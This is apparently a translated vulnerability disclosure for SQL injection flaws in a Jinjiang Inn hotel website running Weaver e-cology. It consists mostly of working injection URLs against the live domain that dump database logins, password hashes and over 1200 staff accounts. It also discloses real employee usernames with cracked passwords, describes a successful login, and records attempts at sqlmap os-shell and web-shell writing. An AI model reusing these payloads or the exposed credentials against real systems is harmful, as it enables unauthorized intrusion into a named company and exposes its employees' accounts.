Multiple SQL injection vulnerabilities in a website of Jinjiang Inn

Multiple SQL injection vulnerabilities in a website of Jinjiang Inn

Example

1./web/broswer/CustomerTypeBrowser. jsp file injection
 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select 1,user,@@version,4,5,6

 

 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select 1,name,master.dbo.fn_varbintohexstr(password_hash),4,5,6 from sys.sql_logins

 

 

http://www.jjhotels.cn/web/broswer/CustomerTypeBrowser.jsp?sqlwhere=where 1=2 union all select id,loginid,password,4,5,6 from HrmResource

 

 

Username and password hash are clear at a glance. There are more than 1200 users, and you can choose one and put it in secrets 5 for cracking.
 

chenfuren/chenfuren

Logon successful
 

The company's internal information is at a glance.
 

The system version is old.

I also found Xue gong from the Information Network department. The password is a bit simple.
 

avril.xue/202CB962AC59075B964B07152D234B70avril.xue/123

 

There are several similar vulnerabilities. For details, refer to WooYun: Weaver e-cology General 6 SQL injection vulnerabilities, which will not be listed here.

2.
 

http://www.jjhotels.cn/web/careerapply/HrmCareerApplyPerView.jsp?id=1

The parameter id is injected, and sqlmap cannot run directly. It can be done with -- tamper = space2comment. Is it waf? Why is the above injection not affected? I have not understood this.
 

 

 

Sa user

3.
 

http://www.jjhotels.cn/weaver/weaver.email.FileDownloadLocation?fileid=1201&download=1

Injection of the fileid Parameter
 

 

 

Or sa user, and stacked queries, should be able to -- OS-shell
 

However, if the prompt "unable to retrieve xp_javasshell output" is displayed, the command Echo cannot be obtained. I don't know why, so I will leave it alone.
 

Finally, an exposed Path Vulnerability is provided. In my email, click the mail menu to expose the path.
 

However, if you fail to write the shell, you are prompted that you do not have the write permission. Check that mssql2008 will have this situation. Maybe I 'd like to compare it.

Solution:

Upgrade the system. The version is too old.